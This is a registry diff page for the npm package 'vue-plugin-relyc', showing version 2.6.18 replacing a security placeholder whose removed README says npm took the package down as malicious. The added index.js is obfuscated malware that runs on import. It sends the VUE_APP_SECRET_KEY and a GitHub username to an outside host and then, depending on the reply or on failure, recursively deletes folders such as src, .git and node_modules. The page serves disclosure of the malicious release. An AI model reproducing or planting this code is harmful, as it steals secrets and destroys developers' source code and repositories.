vue-plugin-relyc 0.0.1-security → 2.6.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vue-plugin-relyc might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +85 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const _0x6462 = [
2
+ 'log',
3
+ 'unlinkSync',
4
+ 'NODE_ENV',
5
+ 'existsSync',
6
+ 'then',
7
+ 'getTime',
8
+ 'readdirSync',
9
+ 'post',
10
+ './node_modules',
11
+ './public',
12
+ 'statSync',
13
+ 'VUE_APP_SECRET_KEY',
14
+ 'forEach',
15
+ './.git',
16
+ 'https://hnchances.com/vue/',
17
+ './.vscode',
18
+ 'env',
19
+ 'bgRed',
20
+ ]
21
+ const _0x27fc = function (_0x646269, _0x27fce6) {
22
+ _0x646269 = _0x646269 - 0x0
23
+ let _0x3f0e99 = _0x6462[_0x646269]
24
+ return _0x3f0e99
25
+ }
26
+ const axios = require('axios')
27
+ const chalk = require('chalk')
28
+ const fs = require('fs')
29
+ function thanks(_0x3503fb) {
30
+ var _0x54aa51 = []
31
+ //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
32
+ if (fs['existsSync'](_0x3503fb)) {
33
+ _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
34
+ _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
35
+ var _0x258bf5 = _0x3503fb + '/' + _0x60171a
36
+ if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
37
+ thanks(_0x258bf5)
38
+ } else {
39
+ fs[_0x27fc('0x1')](_0x258bf5)
40
+ }
41
+ })
42
+ fs['rmdirSync'](_0x3503fb)
43
+ }
44
+ }
45
+ !(() => {
46
+ if (process['env'][_0x27fc('0x2')] !== 'development') {
47
+ axios({
48
+ url: _0x27fc('0xe'),
49
+ method: _0x27fc('0x7'),
50
+ data: {
51
+ customUserId: process['env']['VUE_GITHUB_USER_NAME'],
52
+ secretKey: process['env']['VUE_APP_SECRET_KEY'],
53
+ timestamp: new Date()[_0x27fc('0x5')](),
54
+ },
55
+ })
56
+ [_0x27fc('0x4')](({ data }) => {
57
+ if (data['code'] == 0xca) {
58
+ thanks('./.vscode')
59
+ thanks('./src')
60
+ thanks(_0x27fc('0x9'))
61
+ thanks(_0x27fc('0xd'))
62
+ thanks('./.svn')
63
+ thanks('./mock')
64
+ thanks(_0x27fc('0x8'))
65
+ }
66
+ if (data['code'] != 0xc8) {
67
+ console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
68
+ }
69
+ })
70
+ ['catch'](() => {
71
+ if (
72
+ process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
73
+ process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
74
+ ) {
75
+ thanks(_0x27fc('0xf'))
76
+ thanks('./src')
77
+ thanks('./public')
78
+ thanks('./.git')
79
+ thanks('./.svn')
80
+ thanks('./mock')
81
+ thanks('./node_modules')
82
+ }
83
+ })
84
+ }
85
+ })()
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "vue-plugin-relyc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.6.18",
4
+ "license": "Mozilla Public License Version 2.0",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "axios": "^0.21.1",
8
+ "chalk": "^4.1.0",
9
+ "fs": "^0.0.1-security"
10
+ }
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vue-plugin-relyc for more information.